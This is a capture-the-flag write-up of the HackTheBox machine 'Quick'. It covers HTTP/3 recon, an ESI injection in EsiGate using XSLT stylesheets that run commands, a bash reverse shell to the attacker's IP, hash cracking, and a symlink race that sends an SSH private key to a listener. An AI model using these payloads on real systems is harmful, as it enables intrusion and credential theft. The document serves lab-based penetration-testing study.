
HackTheBox – Quick



Summary

- Gained access to portal.quick.htb via quiche, this allowed me to access the pages that were transferred via http3.
- On portal.quick.htb discovered a default password within a PDF document Connectivity.pdf
- Gained access to elisa@wink.co.uk's account using this password.
- Discovery of EsiGate software running, this has a known esi injection vulnerability, which was ultimately abused to gain a shell on the system as the user Sam.
- Enumeration of the system netted an SQL database username and password, this was used on MySQL to gain a password hash for srvadm.
- The hash was possible to crack by bruteforcing the encryption routine against a wordlist.
- Discovery of printerv2.quick.htb subdomain.
- Authenticated on printerv2.quick.htb as srvadm using the cracked password.
- Exploited a race condition to print srvadm's private SSH key to a listener.
- Authenticated as srvadm via SSH.
- Discovery of a password in printers.conf.
- This password could be used to su to the root account.

Recon

I began by adding 10.10.10.186 to /etc/hosts as quick.htb.

This was followed up by port scans only revealing ports 22 and 9001 running SSH and Apache respectively.

```
Li:~/Desktop/HTB/Quick$ sudo nmap -T5 quick.htb
Starting Nmap 7.80 (https://nmap.org) at 2020-09-03 09:05 EDT
Nmap scan report for quick.htb (10.10.10.186)
Host is up (0.014s latency).
rDNS record for 10.10.10.186: portal.quick.htb
Not shown: 998 closed ports
        STATE SERVICE
PORT
22/tcp
       open ssh
9001/tcp open tor-orport
Nmap done: 1 IP address (1 host up) scanned in 1.60 seconds
            Li:~/Desktop/HTB/Quick$ sudo nmap -T5 quick.htb -p-
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-03 09:05 EDT
Nmap scan report for quick.htb (10.10.10.186)
Host is up (0.013s latency).
rDNS record for 10.10.10.186: portal.quick.htb
Not shown: 65533 closed ports
PORT
      STATE SERVICE
22/tcp open ssh
9001/tcp open tor-orport
Nmap done: 1 IP address (1 host up) scanned in 13.99 seconds
      zzz@kali:~/Desktop/HTB/Quick$
```


```
# Nmap 7.80 scan initiated Mon Apr 27 09:30:46 2020 as: nmap -A -p22,9001 -oN nmap.txt quick.htb
Nmap scan report for quick.htb (10.10.10.186)
Host is up (0.018s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
 ssh-hostkev:
  2048 fb:b0:61:82:39:50:4b:21:a8:62:98:4c:9c:38:82:70 (RSA)
  256 ee:bb:4b:72:63:17:10:ee:08:ff:e5:86:71:fe:8f:80 (ECDSA)
  256 80:a6:c2:73:41:f0:35:4e:5f:61:a7:6a:50:ea:b8:2e (ED25519)
9001/tcp open http Apache httpd 2.4.29 ((Ubuntu))
http-server-header: Apache/2.4.29 (Ubuntu)
 http-title: Quick | Broadband Services
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.32 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera
(Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.39 - 3.2 (92%), Linux 3.1
- 3.2 (92%), Linux 3.2 - 4.9 (92%), Linux 3.7 - 3.10 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Running dirb against the apache server revealed the following:


```
DIRB v2.22
By The Dark Raver
OUTPUT_FILE: dirb.txt
START_TIME: Mon Apr 27 09:32:17 2020
URL_BASE: http://quick.htb:9001/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php,.html,.txt,/) \mid (.php)(.html)(.txt)(/) [NUM = 4]
GENERATED WORDS: 4612
 --- Scanning URL: http://quick.htb:9001/ ----
+ http://quick.htb:9001/clients.php (CODE:200|SIZE:2698)
+ http://quick.htb:9001/db.php (CODE:200|SIZE:0)
+ http://quick.htb:9001/home.php (CODE:200|SIZE:86)
+ http://quick.htb:9001/icons/ (CODE:403|SIZE:276)
+ http://quick.htb:9001/index.php (CODE:200|SIZE:3353)
+ http://quick.htb:9001/index.php/ (CODE:200|SIZE:3353)
+ http://quick.htb:9001/login.php (CODE:200|SIZE:4345)
+ http://quick.htb:9001/search.php (CODE:200|SIZE:1)
+ http://quick.htb:9001/server-status/ (CODE:200|SIZE:5827)
+ http://quick.htb:9001/ticket.php (CODE:200|SIZE:86)
```

None of these pages are of much use right now though unfortunately.

Visiting the webserver presents the following page, following the portal link attempts to connect to portal.quick.htb – I added this to /etc/hosts.



Attempting to visit this page presents an SSL error.



Running a port scan against 443 on UDP however reveals that this port is open, unusually SSLis running over UDP.

```
driggzzzznkali:~/Desktop/HTB/Quick$ sudo nmap -sU quick.htb -p443 -sV -sC
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-03 09:16 EDT
Nmap scan report for quick.htb (10.10.10.186)
Host is up (0.014s latency).
rDNS record for 10.10.10.186: portal.quick.htb

PORT STATE SERVICE VERSION
443/udp open|filtered https

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 118.94 seconds
driggzzzzakali:~/Desktop/HTB/Quick$
```

Some research into this leads me to discover that http3 — otherwise known as QUIC, is a protocol that matches this description. There are a few ways to browse this currently experimental protocol, I settled on using the following software by cloudflare called Quiche: https://github.com/cloudflare/quiche

After installing this, running the following command presented the index page for portal.quick.htb as html. There are references to GET requests that are interesting – particularly docs.

cargo run --manifest-path=tools/apps/Cargo.toml --bin quiche-client -- --no-verify https://quick.htb

```
<title> Quick | Customer Portal</title>
<h1>Quick | Portal</h1>
<head>
<style>
 list-style-type: none;
 margin: 0;
 padding: 0;
 width: 200px;
 background-color: #f1f1f1;
i a {
 display: block;
 color: #000;
 padding: 8px 16px;
 text-decoration: none;
* Change the link color on hover */
.i a:hover {
background-color: #555;
 color: white;
:/style>
 Welcome to Quick User Portal
<a href="index.php">Home</a>
 <a href="index.php?view=contact">Contact</a><a href="index.php?view=about">About</a></a>
 <a href="index.php?view=docs">References</a>
 /111>
```

Runnig the following command presents the docs page which contains 2 PDF files.

cargo run --manifest-path=tools/apps/Cargo.toml --bin quiche-client -- --no-verify https://quick.htb/index.php?view=docs


I used the same method to visit https://quick.htb/docs/Connectivity.pdf and directed the output to a local file – connectivity.pdf.

Viewing this document reveals a default password for the service - Quick4ce\$\$

Quick

Broadband Services


September 04, 2019




How to Connect?

- 1. Once router is up and running just navigate to http://172.15.0.4/quick_login.jsp
- 2. You can use your registered email address and Quick4cc3\$\$ as password.
- 3. Login and change your password for WiFi and ticketing system.
- 4. Don't forget to ping us on chat whenever there is an issue.


With a password and no username I enumerated further. Remembering the user reviews on the home page left a name, viewing clients.php left a company name and country, which is rather odd. I used this to make some educated guesses at valid email addresses.



After a few guesses I eventually struck gold and gained access to elisa@wink.co.uk. This redirected me to a customer panel page.



Analyzing the HTTP headers reveals some software called Esigate is running.



Searching for exploits for this software proved fruitful, netting the following page explaining how to exploit an ESI injection vulnerability.

https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/

FootHold


I tested the previously mentioned exploit by hosting a script containing the following payload via python http.server.

```
driggzzzz@kali:~/Desktop/HTB/Quick$ cat test.esi
<script>alert('it works');</script>
driggzzzz@kali:~/Desktop/HTB/Quick$
```

I confirmed that this worked by including the address this script was hosted at within esi:includes tags when submitting a ticket. Searching for the ticket number using /search.php?search= triggers the alert; confirming I could abuse this form.







To gain RCE I hosted 4 files on my webserver:

driggzzzz.sh – a bash script to spawn a reverse shell.

```
#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.10.14.16/9001 0>&1"
```

Uploader.xsl – This will be used a style sheet that uploads driggzzzz.sh to the server.

Chmod.xsl – Will change the permissions of driggzzzz.sh to make it executable.

```
<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[chmod +x ./driggzzzz.sh]]></xsl:variable>
<xsl:variable name="rt0bj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rt0bj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>
```

Exploit.xsl – this will run the script.


```
<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<rsot>
<xsl:variable name="cmd"><![CDATA[./driggzzzz.sh]]></xsl:variable>
<xsl:variable name="rt0bj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rt0bj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>
```

These can be used to gain RCE by uploading them via the ticket submission form.

Using:

<esi:include src="http://localhost" stylesheet="<location of script>.xsl"></esi:include>

I uploaded the 3 .xsl documents using this method and noted their ticket numbers.



I then set up a listener and queried the tickets in the following order, triggering a series of commands that ultimately gained a reverse shell:

Uploader.xsl

Chmod.xsl

Exploit.xsl



```
driggrzz@kali:~$ nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.10.186] 52342
bash: cannot set terminal process group (1025): Inappropriate ioctl for device bash: no job control in this shell
sam@quick:~$
```

Privelege Escalation – User: srvadm

Reading /etc/passwd reveals the user – srvadm.

```
sam@quick:~/esigate-distribution-5.2/lib$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
 _apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
sam:x:1000:1000:sam:/home/sam:/bin/bash
mysql:x:111:115:MySQL Server,,,:/nonexistent:/bin/false
srvadm:x:1001:1001:,,,:/home/srvadm:/bin/bash
sam@quick:~/esigate-distribution-5.2/lib$
```

In /var/www/html/db.php is a set of credentials for an SQL database.

```
sam@quick:/var/www/html$ cat db.php
<?php
$conn = new mysqli("localhost","db_adm","db_p4ss","quick");
?>
sam@quick:/var/www/html$
```

In /var/www/html/login.php there is a section of PHP code outlining a password encryption/decryption routine. The passwords appear to be stored as an md5 hash of the encrypted password with a salt of 'fa'.

Querying the SQL database using the earlier discovered credentials reveals password hashes for elisa@wink.htb and srvadm@quick.htb.

```
sam@quick:/var/www/html$ mysql -u db_adm -p -D quick
Enter password:
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with; or \g.
Your MySQL connection id is 82
Server version: 5.7.29-Oubuntu0.18.04.1 (Ubuntu)
Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show tables;
 Tables_in_quick
  iobs
  tickets
 users
3 rows in set (0.00 sec)
mysql> select * from users;
                                   password
                email
 name
 Elisa | elisa@wink.co.uk | c6c35ae1f3cb19438e0199cfa72a9d9d
Server Admin | srvadm@quick.htb | e626d51f8fbfd1124fdea88396c35d05
2 rows in set (0.00 sec)
mysql>
```

I wrote the following python script to crack the hash, the script iterates through a wordlist – in this case rockyou.txt, encrypts the words with a salt of 'fa' and creates an md5 hash of it. This hash is then compared to the hashed password from the database; if a match is found it returns the word used.

```
import hashlib
import crypt
import sys

hash = b"e626d51f8fbfd1124fdea88396c35d05"

print("Attempting to crack: " + str(hash))

with open("/usr/share/wordlists/rockyou.txt") as wlist:
    for word in wlist:
        try:
        if hashlib.md5(crypt.crypt(word.strip().encode(), 'fa')).hexdigest() == hash:
             print("Password found: " + word)
             sys.exit()
        except UnicodeDecodeError:
        pass
```

This returned the password as yl51pbx.

```
driggzzzmkali:~/Desktop/HTB/Quick$ python crack.py
Attempting to crack: e626d51f8fbfd1124fdea88396c35d05
Password found: yl51pbx
driggzzzzmkali:~/Desktop/HTB/Quick$
```


I attempted to use this password against SSH and su with no success.

Further enumeration lead me to /etc/apache2/sies-available/000-default.conf where I found another hostname – printerv2.quick.htb which I added to /etc/hosts.


```
sam@quick:/etc/apache2/sites-available$ cat 000-default.conf
<VirtualHost *:80>
          # The ServerName directive sets the request scheme, hostname and port that # the server uses to identify itself. This is used when creating # redirection URLs. In the context of virtual hosts, the ServerName # specifies what hostname must appear in the request's Host: header to # match this virtual host. For the default virtual host (this file) this
          # value is not decisive as it is used as a last resort host regardless.
           # However, you must set it for any further virtual host explicitly.
          #ServerName www.example.com
          ServerAdmin webmaster@localhost
          DocumentRoot /var/www/html
           # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
          # error, crit, alert, emerg.
          # It is also possible to configure the loglevel for particular
          # modules, e.g.
#LogLevel info ssl:warn
          ErrorLog ${APACHE_LOG_DIR}/error.log
           CustomLog ${APACHE_LOG_DIR}/access.log combined
          # For most configuration files from conf-available/, which are
          # enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
           # after it has been globally disabled with "a2disconf".
           #Include conf-available/serve-cgi-bin.conf
</VirtualHost>
<VirtualHost *:80>
           AssignUserId srvadm srvadm
           ServerName printerv2.quick.htb
          DocumentRoot /var/www/printer

VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
```


I navigated to printerv2.quick.htb and authenticated using the discovered credentials.




On there I could add a new printer to the server.



I created a new printer named driggzzzz at my IP address on port 9002.



I set up a listener on port 9002 and clicked the print button, whilst this created a connection it didn't provide anything of use. This will be crucial to the next part of the exploit however.



```
driggzzzz@kali:~/Desktop/HTB/Quick$ nc -nvlp 9002
listening on [any] 9002 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.10.186] 373
22
driggzzzz@kali:~/Desktop/HTB/Quick$
```


Upon reading several of the .php files in /var/www/printer I stumbled upon an interesting section of code that creates the print jobs. It creates a new file with the name set as the date/time then changed the permissions so that all users can access it, the program then sends the file to the printer, sleeps for 0.5 seconds and removes the file

```
sam@quick:/var/www/printer$ cat job.php
                    . '/escpos-php/vendor/autoload.php';
require
            DIR
use Mike42\Escpos\PrintConnectors\NetworkPrintConnector;
use Mike42\Escpos\Printer;
include("db.php");
session_start();
if($_SESSION["loggedin"])
          if(isset($_POST["submit"]))
                     $title=$_POST["title"];
                     $file = date("Y-m-d_H:i:s");
                    file_put_contents("/var/www/jobs/".\file,\text{pOST["desc"]);}
chmod("/var/www/printer/jobs/".\file,\text{p0777");}
\text{stmt=\text{sconn} \rightarrow prepare("select ip, port from jobs");}
                     $stmt→execute();
                     $result=$stmt→get_result();
                     if($result→num_rows > 0)
                               $row=$result→fetch_assoc();
                               $ip=$row["ip"];
$port=$row["port"];
                               try
                                          $connector = new NetworkPrintConnector($ip,$port);
                                          sleep(0.5); //Buffer for socket check
                                          $printer = new Printer($connector);
$printer → text(file_get_contents("/var/www/jobs/".$file));
                                          $printer → cut();
                                          $printer → close();
                                         $message="Job assigned";
unlink("/var/www/jobs/".$file);
                               catch(Exception $error)
                                         $error="Can't connect to printer.";
unlink("/var/www/jobs/".$file);
                    else
                               $error="Couldn't find printer.";
          }
```

This could be exploited using the following bash script. The script runs on and endless loop and takes the names of any file in /var/www/jobs and creates a symbolic link to srvadm's SSH private key.

```
sam@quick:/var/www/jobs$ while true
> do
> for i in $(ls /var/www/jobs)
> do
> ln -sf /home/srvadm/.ssh/id_rsa /var/www/jobs/$i
> done
> done
```

I set up a listener on port 9002 (for my created printer), ran the script and hit the print button on the webpage, this netted me the id_rsa file for srvadm.





I copied the SSH key and changed permissions on it to 400 to allow its use via SSH, I then authenticated as srvadm via SSH.

```
.1:~/Desktop/HTB/Quick$ ssh -i id_rsa srvadm@quick.htb
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)
 * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
 System information as of Mon Sep 7 11:24:46 UTC 2020
 System load: 0.06
                                   Users logged in:
                                                                    0
 Usage of /: 30.1% of 19.56GB IP address for ens33: 10.10.10.186
 Memory usage: 22%
                                  IP address for br-9ef1bb2e82cd: 172.18.0.1
 Swap usage: 0%
Processes: 129
                                   IP address for docker0: 172.17.0.1
 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch
54 packages can be updated.
28 updates are security updates.
Last login: Fri Mar 20 05:56:02 2020 from 172.16.118.129
srvadm@quick:~$ whoami; hostname; id
srvadm
quick
uid=1001(srvadm) gid=1001(srvadm) groups=1001(srvadm),999(printers)
srvadm@quick:~$
```

Privilege Escalation - Root

Enumeration of srvadm's home directory reveals some logs and config files.

```
srvadm@quick:~$ ls -la
total 36
drwxr-xr-x 6 srvadm srvadm 4096 Mar 20 06:37 .
drwxr-xr-x 4 root root 4096 Mar 20 02:16 ...
lrwxrwxrwx 1 srvadm srvadm 9 Mar 20 02:38 .bash_history → /dev/null
-rw-r--r 1 srvadm srvadm 220 Mar 20 02:16 .bash logout
-rw-r--r-- 1 srvadm srvadm 3771 Mar 20 02:16 .bashrc
drwx----- 5 srvadm srvadm 4096 Mar 20 06:20 .cache
drwx----- 3 srvadm srvadm 4096 Mar 20 02:38 .gnupg
drwxrwxr-x 3 srvadm srvadm 4096 Mar 20 06:37 .local
-rw-r--r 1 srvadm srvadm 807 Mar 20 02:16 .profile drwx----- 2 srvadm srvadm 4096 Mar 20 02:38 .ssh
srvadm@quick:~$ cd .cache; ls -la
total 20
drwx----- 5 srvadm srvadm 4096 Mar 20 06:20 .
drwxr-xr-x 6 srvadm srvadm 4096 Mar 20 06:37 ...
drwxr-xr-x 2 srvadm srvadm 4096 Mar 20 06:23 conf.d
drwxr-xr-x 2 srvadm srvadm 4096 Mar 20 06:46 logs
-rw-r--r-- 1 srvadm srvadm 0 Mar 20 02:38 motd.legal-displayed
drwxr-xr-x 2 srvadm srvadm 4096 Mar 20 06:18 packages
srvadm@quick:~/.cache$ cd conf.d; ls -la
total 20
drwxr-xr-x 2 srvadm srvadm 4096 Mar 20 06:23 .
drwx----- 5 srvadm srvadm 4096 Mar 20 06:20 ...
-rw-r--r-- 1 srvadm srvadm 4569 Mar 20 06:20 cupsd.conf
-rw-r--r-- 1 srvadm srvadm 4038 Mar 20 06:23 printers.conf
srvadm@quick:~/.cache/conf.d$
```

Reading printers.conf reveals a URL encoded password.

```
srvadm@quick:~/.cache/conf.d$ cat printers.conf
# Printer configuration file for CUPS v2.3.0
# Written by cupsd on 2020-02-18 17:11
# DO NOT EDIT THIS FILE WHEN CUPSD IS RUNNING
NextPrinterId 5
Printer Aviatan
<Printer Aviatar>
PrinterId 1
UUID urn:uuid:06094d79-122e-342a-6e40-384bc8e26153
AuthInfoRequired none
Info PA-7450 G250
Location G250
MakeModel KONICA MINOLTA C554SeriesPS(P)
DeviceURI ipp://127.0.0.1/ipp/pa-7450
State Idle
StateTime 1582042274
ConfigTime 1582038455
Reason media-low-warning
Reason other-report
Type 8401100
Accepting Yes
Shared Yes
JobSheets none none
QuotaPeriod 0
PageLimit 0
KLimit 0
OpPolicy default
ErrorPolicy stop-printer
Option job-cancel-after 10800
Option media 12
Option output-bin 0
Option print-color-mode color
Option print-quality 5
Attribute marker-types toner, toner, toner, opc, developer, opc, developer, opc, developer, opc, developer, waste-toner, Attribute marker-change-time 1582042248
</Printer>
<Printer OLD_Aviatar>
PrinterId 2
UUID urn:uuid:0929509f-7173-3afd-6be2-4da0a43ccefe
Info 8595
Location Aviatar
MakeModel KONICA MINOLTA C554SeriesPS(P)
DeviceURI https://srvadm%40quick.htb:%26ftQ4K3SGde8%3F@printerv3.quick.htb/printer
State Idle
```

Decoding this is trivial, revealing the password as &ftQ4K3SGde8?

Decode from URL encoded format

Simply enter your data then push the decode button.

%26ftQ4K3SGde8%3F	
For encoded binaries (like images, documents, etc.) use the file upload form a bit further down on this page.	
UTF-8 ▼	Source character set.
Decode each line separately (useful for multiple entries).	
① Live mode OFF	Decodes in real-time when you type or paste (supports only UTF-8 character set).
✓ DECODE >	Decodes your data into the textarea below.
&ftQ4K3SGde8?	

This password is reused on the root account, allowing me to su into it.

```
srvadm@quick:~/.cache/conf.d$ su root
Password:
root@quick:/home/srvadm/.cache/conf.d# whoami; hostname; id; cat /root/root.txt
root
quick
uid=0(root) gid=0(root) groups=0(root)
2676d141d9305a5d06e288c8bf916bbf
root@quick:/home/srvadm/.cache/conf.d#
```